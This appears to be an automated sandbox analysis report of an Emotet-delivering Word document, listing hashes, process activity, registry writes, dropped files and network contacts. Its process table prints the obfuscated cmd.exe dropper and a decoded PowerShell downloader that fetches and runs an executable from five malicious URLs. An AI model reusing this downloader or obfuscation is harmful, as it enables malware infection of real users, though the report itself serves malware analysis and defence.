File name: | a.doc |
Full analysis: | https://app.any.run/tasks/ccfc1cd9-5ac2-4ecc-92f1-03aed056e85b |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 21, 2022, 05:36:26 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 21 19:55:00 2018, Last Saved Time/Date: Fri Dec 21 19:55:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 17, Security: 0 |
MD5: | 2B6A87D7EC58AFDAD48441F73AF5148C |
SHA1: | C5D57651E02D11103707EEFE8D6A2284CFDD5A7D |
SHA256: | 422D8A97B75426B9725B6A0F6A9ECB1818160DC931140B7615E38C5A62ECAAD7 |
SSDEEP: | 1536:gr81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadM/dTbyQhuT8BHE/1B+a9:gr8GhDS0o9zTGOZD6EbzCdIYQhS8BHy |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 18 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 17 |
Words: | 2 |
Pages: | 1 |
ModifyDate: | 2018:12:21 19:55:00 |
CreateDate: | 2018:12:21 19:55:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2832 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\a.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
3312 | cmd /c %PrOGrAMDATA:~0,1%%prOGraMdata:~9,2% /V: /C "sET ZRX4=OUj=/a~',b1%-h.)CSlN dtY8PiR6oM4Arxwnuy\KfDX:J{mg}GEp$L+5Wk9IB2ce7F;3v0(Ts@&&FOR %n In ( 52 , 29 , 35, 11 ,25 , 1, 61 , 54 ,60 , 16 ,44 , 6,56, 8 ,10, 11 , 33, 11 , 17 ,51 ,17, 17 , 60 ,0 , 19 ,19 , 32 , 30 , 51 , 44, 6 , 12 , 31,8 ,10, 11, 13 , 11 , 72 , 51,30 , 25 , 44 , 6 , 12 , 68, 8 , 10 , 11, 18 , 18 ,20 , 53 , 26,28 , 24 , 70 ,3 , 7 ,35 , 31 ,65, 59 , 7 ,67 , 53 , 36 , 65 , 62, 70 , 3 ,36 , 64 ,35 , 12 , 29 , 9 ,2 ,64 , 63 , 22 , 20 , 19 , 64 , 22 , 14 , 57 , 64 , 9 ,16 , 18 , 26 , 64, 36 ,22,67 ,53 ,9 , 68 , 28 , 24 , 3, 7 , 13 , 22, 22 , 52 , 44 , 4 , 4, 2 , 29 , 13 , 36 , 36 , 38 ,63, 33 , 5 , 52 , 14 , 63, 29 , 47 , 4, 13 ,29 , 10 , 52 , 13 , 70 , 36 ,2 , 21,74 , 13 , 22 ,22 , 52 , 44 ,4, 4 , 58 , 26 , 21 , 73 , 12 ,64 , 21,37 , 63 , 5 , 22 , 26 , 29 , 36 ,12 , 73 , 37, 52 , 52 , 29 , 33 ,22 , 14 , 63, 29 , 47 , 4 ,54 ,27 ,18 , 10, 56,16, 23 , 74 , 13 , 22 , 22 , 52 ,44 , 4, 4 , 22 , 29, 33, 22 ,37 , 48 ,5, 21, 5, 22 , 5 ,63 , 29 , 33 , 52 , 14 , 63 , 29 ,47 , 4 , 40 ,68 , 23, 65 , 26 , 21 , 52 , 74 ,13 ,22, 22, 52 , 44 , 4 , 4 , 33 ,64,5, 18 , 26 ,22 ,38 , 63 , 29 , 47 , 52 , 37 , 22 , 64 ,33, 73 , 14, 36 , 18, 4 , 16 , 43 ,62 ,26 , 9 , 34, 27, 56 , 33 ,31, 74 , 13 , 22 , 22, 52 , 44, 4, 4 , 2 ,5 , 73 , 52 , 26 , 36 , 41 , 29 , 33 , 47 , 5 , 22 , 26 , 63,5 , 14 , 63 , 29, 47 , 4,73 , 21, 54 , 24 , 73 , 65 , 13 , 48, 7 ,14 , 17, 52 , 18 , 26, 22 , 71 , 7 , 74 , 7, 15 , 67 , 53 , 27 , 65 ,70 ,10 , 3 , 7 , 69 ,68 , 31, 65,7,67 , 53 , 18, 70 , 31 , 10, 20 , 3 , 20 , 7 , 68 , 65 ,10 , 7, 67 , 53 ,40 , 62, 70 , 28 , 3, 7 , 45 , 59,28 , 31 , 7 , 67 , 53 , 35 , 56, 62, 56 , 3,53,64 ,36, 69, 44 , 52 , 37 , 9 , 18 ,26 , 63 ,55 , 7 , 39 , 7 , 55 , 53, 18 , 70 , 31 ,10 , 55 , 7 , 14, 64, 34 , 64,7 , 67 ,41, 29 , 33 , 64 ,5 , 63, 13 , 71 , 53, 37 ,24 , 65 , 65 , 20 , 26 , 36 , 20 , 53 , 9 , 68 ,28 , 24 ,15 , 46, 22 , 33 , 38 , 46 , 53 , 36 , 65, 62, 70 ,14 , 42, 29 , 35 , 36 ,18 , 29, 5 , 21, 66 , 26, 18 , 64 , 71 , 53 , 37 , 24 , 65, 65 , 8 , 20, 53 , 35 , 56 , 62 , 56 , 15, 67 , 53 ,0 , 10 , 65 , 10, 3 , 7 , 21 , 28 , 70 , 68,7 , 67 , 60 , 41 ,20 , 71 , 71 , 50 , 64 ,22 , 12 ,60 , 22 , 64, 47 , 20 , 53 , 35 ,56 ,62 , 56,15 , 14 , 18 ,64 , 36 ,48 ,22 , 13 , 20 , 12 ,48 , 64 , 20 , 24 , 70 , 70 , 70, 70 , 15 , 20 , 46 ,60, 36 , 69, 29 , 58 ,64,12 , 60 , 22,64,47 , 20 , 53 , 35 , 56 , 62, 56, 67, 53 , 42,24 , 24, 28 , 3 ,7 ,63 , 62 ,62 , 68 ,7 , 67, 9,33 ,64 ,5, 58 , 67, 49 , 49 , 63 , 5 , 22,63 , 13 , 46 , 49 , 49 ,53 , 21, 65 ,65, 59 ,3, 7 , 1 ,24 , 31 , 59 , 7,67 ,80 )DO seT HS=!HS!!ZRX4:~ %n, 1!&if %n GEq 80 ECho !HS:~ 4! | CMD" | C:\Windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
668 | CmD /V: /C "sET ZRX4=OUj=/a~',b1%-h.)CSlN dtY8PiR6oM4Arxwnuy\KfDX:J{mg}GEp$L+5Wk9IB2ce7F;3v0(Ts@&&FOR %n In ( 52 , 29 , 35, 11 ,25 , 1, 61 , 54 ,60 , 16 ,44 , 6,56, 8 ,10, 11 , 33, 11 , 17 ,51 ,17, 17 , 60 ,0 , 19 ,19 , 32 , 30 , 51 , 44, 6 , 12 , 31,8 ,10, 11, 13 , 11 , 72 , 51,30 , 25 , 44 , 6 , 12 , 68, 8 , 10 , 11, 18 , 18 ,20 , 53 , 26,28 , 24 , 70 ,3 , 7 ,35 , 31 ,65, 59 , 7 ,67 , 53 , 36 , 65 , 62, 70 , 3 ,36 , 64 ,35 , 12 , 29 , 9 ,2 ,64 , 63 , 22 , 20 , 19 , 64 , 22 , 14 , 57 , 64 , 9 ,16 , 18 , 26 , 64, 36 ,22,67 ,53 ,9 , 68 , 28 , 24 , 3, 7 , 13 , 22, 22 , 52 , 44 , 4 , 4, 2 , 29 , 13 , 36 , 36 , 38 ,63, 33 , 5 , 52 , 14 , 63, 29 , 47 , 4, 13 ,29 , 10 , 52 , 13 , 70 , 36 ,2 , 21,74 , 13 , 22 ,22 , 52 , 44 ,4, 4 , 58 , 26 , 21 , 73 , 12 ,64 , 21,37 , 63 , 5 , 22 , 26 , 29 , 36 ,12 , 73 , 37, 52 , 52 , 29 , 33 ,22 , 14 , 63, 29 , 47 , 4 ,54 ,27 ,18 , 10, 56,16, 23 , 74 , 13 , 22 , 22 , 52 ,44 , 4, 4 , 22 , 29, 33, 22 ,37 , 48 ,5, 21, 5, 22 , 5 ,63 , 29 , 33 , 52 , 14 , 63 , 29 ,47 , 4 , 40 ,68 , 23, 65 , 26 , 21 , 52 , 74 ,13 ,22, 22, 52 , 44 , 4 , 4 , 33 ,64,5, 18 , 26 ,22 ,38 , 63 , 29 , 47 , 52 , 37 , 22 , 64 ,33, 73 , 14, 36 , 18, 4 , 16 , 43 ,62 ,26 , 9 , 34, 27, 56 , 33 ,31, 74 , 13 , 22 , 22, 52 , 44, 4, 4 , 2 ,5 , 73 , 52 , 26 , 36 , 41 , 29 , 33 , 47 , 5 , 22 , 26 , 63,5 , 14 , 63 , 29, 47 , 4,73 , 21, 54 , 24 , 73 , 65 , 13 , 48, 7 ,14 , 17, 52 , 18 , 26, 22 , 71 , 7 , 74 , 7, 15 , 67 , 53 , 27 , 65 ,70 ,10 , 3 , 7 , 69 ,68 , 31, 65,7,67 , 53 , 18, 70 , 31 , 10, 20 , 3 , 20 , 7 , 68 , 65 ,10 , 7, 67 , 53 ,40 , 62, 70 , 28 , 3, 7 , 45 , 59,28 , 31 , 7 , 67 , 53 , 35 , 56, 62, 56 , 3,53,64 ,36, 69, 44 , 52 , 37 , 9 , 18 ,26 , 63 ,55 , 7 , 39 , 7 , 55 , 53, 18 , 70 , 31 ,10 , 55 , 7 , 14, 64, 34 , 64,7 , 67 ,41, 29 , 33 , 64 ,5 , 63, 13 , 71 , 53, 37 ,24 , 65 , 65 , 20 , 26 , 36 , 20 , 53 , 9 , 68 ,28 , 24 ,15 , 46, 22 , 33 , 38 , 46 , 53 , 36 , 65, 62, 70 ,14 , 42, 29 , 35 , 36 ,18 , 29, 5 , 21, 66 , 26, 18 , 64 , 71 , 53 , 37 , 24 , 65, 65 , 8 , 20, 53 , 35 , 56 , 62 , 56 , 15, 67 , 53 ,0 , 10 , 65 , 10, 3 , 7 , 21 , 28 , 70 , 68,7 , 67 , 60 , 41 ,20 , 71 , 71 , 50 , 64 ,22 , 12 ,60 , 22 , 64, 47 , 20 , 53 , 35 ,56 ,62 , 56,15 , 14 , 18 ,64 , 36 ,48 ,22 , 13 , 20 , 12 ,48 , 64 , 20 , 24 , 70 , 70 , 70, 70 , 15 , 20 , 46 ,60, 36 , 69, 29 , 58 ,64,12 , 60 , 22,64,47 , 20 , 53 , 35 , 56 , 62, 56, 67, 53 , 42,24 , 24, 28 , 3 ,7 ,63 , 62 ,62 , 68 ,7 , 67, 9,33 ,64 ,5, 58 , 67, 49 , 49 , 63 , 5 , 22,63 , 13 , 46 , 49 , 49 ,53 , 21, 65 ,65, 59 ,3, 7 , 1 ,24 , 31 , 59 , 7,67 ,80 )DO seT HS=!HS!!ZRX4:~ %n, 1!&if %n GEq 80 ECho !HS:~ 4! | CMD" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
4040 | C:\Windows\system32\cmd.exe /S /D /c" ECho pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $i680='w479';$n720=new-object Net.WebClient;$b368='http://johnnycrap.com/ho1ph0njd@http://kids-education-support.com/LRl15CY@http://tortugadatacorp.com/K3Y7idp@http://realitycomputers.nl/CX2ibxR5r4@http://jaspinformatica.com/sdL8s7hg'.Split('@');$R701='v347';$l041 = '371';$K206='J964';$w525=$env:public+'\'+$l041+'.exe';foreach($u877 in $b368){try{$n720.DownloadFile($u877, $w525);$O171='d603';If ((Get-Item $w525).length -ge 80000) {Invoke-Item $w525;$D886='c223';break;}}catch{}}$d779='U849'; " | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
4084 | CMD | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2168 | powershell $i680='w479';$n720=new-object Net.WebClient;$b368='http://johnnycrap.com/ho1ph0njd@http://kids-education-support.com/LRl15CY@http://tortugadatacorp.com/K3Y7idp@http://realitycomputers.nl/CX2ibxR5r4@http://jaspinformatica.com/sdL8s7hg'.Split('@');$R701='v347';$l041 = '371';$K206='J964';$w525=$env:public+'\'+$l041+'.exe';foreach($u877 in $b368){try{$n720.DownloadFile($u877, $w525);$O171='d603';If ((Get-Item $w525).length -ge 80000) {Invoke-Item $w525;$D886='c223';break;}}catch{}}$d779='U849'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
|
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | |0: |
Value: 7C303A00100B0000010000000000000000000000 | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1041 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1046 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1036 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1031 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1040 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1049 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 3082 |
Value: Off | |||
(PID) Process: | (2832) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1042 |
Value: Off |
PID | Process | Filename | Type | |
---|---|---|---|---|
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4C7C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A7239D27.wmf | image | |
MD5:E466E48F78AB2FCE91FCAC047685CB43 | SHA256:AA43A897A633BED21A834BB2CEE24F3A5F4C1F60B485413202F741DB4D4951BA | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:1B0D8D67E95E84A74C67B0697D01A1EF | SHA256:B8B36B65AFFE780FBEA4BAFE64CA6B27F36C74352223F014F310DBF8E3921629 | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\49E28CD.wmf | image | |
MD5:A96FAFC9453C8CFBAB4404A4755FEEE4 | SHA256:7F1B1C0C187C9CB3E633995FAC26FE7F8473D8268612F7735571FA5A35F23A55 | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:EC6D5FBE06980E5AAB8C5F3B8C19C647 | SHA256:1B390CCBB065E1172D435CA96CFD75BD8586D25C9B414A8A34DCDC7948411A81 | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\63B84FC.wmf | image | |
MD5:E466E48F78AB2FCE91FCAC047685CB43 | SHA256:AA43A897A633BED21A834BB2CEE24F3A5F4C1F60B485413202F741DB4D4951BA | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3C4EC06A.wmf | image | |
MD5:A96FAFC9453C8CFBAB4404A4755FEEE4 | SHA256:7F1B1C0C187C9CB3E633995FAC26FE7F8473D8268612F7735571FA5A35F23A55 | |||
2168 | powershell.exe | C:\Users\Public\371.exe | html | |
MD5:575669413289A98FCBF55EF7DA55747A | SHA256:E91C26F3B2FB5C3A2FB62039B1BEF6E98569B8DDAA5E4D28134953577961952A | |||
2832 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$a.doc | pgc | |
MD5:41FFBA95E016617CDB78E5236149E817 | SHA256:93A939AB69772DB07336583D94B4D0A8F6570670B0E9E9F65C5202FC75329E11 | |||
2168 | powershell.exe | C:\Users\admin\AppData\Local\Temp\idwhmvqn.p5t.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2168 | powershell.exe | GET | 301 | 172.120.69.166:80 | http://tortugadatacorp.com/K3Y7idp | US | — | — | malicious |
2168 | powershell.exe | GET | 302 | 64.99.64.37:80 | http://johnnycrap.com/ho1ph0njd | CA | html | 309 b | malicious |
2168 | powershell.exe | GET | 200 | 172.120.69.166:80 | http://www.tortugadatacorp.com/K3Y7idp | US | html | 1.55 Kb | malicious |
2168 | powershell.exe | GET | 404 | 185.182.56.12:80 | http://realitycomputers.nl/CX2ibxR5r4 | NL | html | 208 b | malicious |
2168 | powershell.exe | GET | 404 | 86.109.170.198:80 | http://jaspinformatica.com/sdL8s7hg | ES | html | 965 b | malicious |
2168 | powershell.exe | GET | 301 | 104.18.133.62:80 | http://www.johnnycrap.com/ | US | html | 93 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2168 | powershell.exe | 172.120.69.166:80 | tortugadatacorp.com | EGIHosting | US | unknown |
2168 | powershell.exe | 64.99.64.37:80 | johnnycrap.com | Tucows.com Co. | CA | malicious |
— | — | 104.18.133.62:443 | www.johnnycrap.com | Cloudflare Inc | US | shared |
2168 | powershell.exe | 104.18.133.62:80 | www.johnnycrap.com | Cloudflare Inc | US | shared |
2168 | powershell.exe | 86.109.170.198:80 | jaspinformatica.com | Abansys & Hostytec, S.L. | ES | malicious |
2168 | powershell.exe | 185.182.56.12:80 | realitycomputers.nl | Astralus B.V. | NL | malicious |
Domain | IP | Reputation |
---|---|---|
johnnycrap.com |
| unknown |
www.johnnycrap.com |
| malicious |
kids-education-support.com |
| malicious |
tortugadatacorp.com |
| malicious |
www.tortugadatacorp.com |
| unknown |
realitycomputers.nl |
| malicious |
jaspinformatica.com |
| unknown |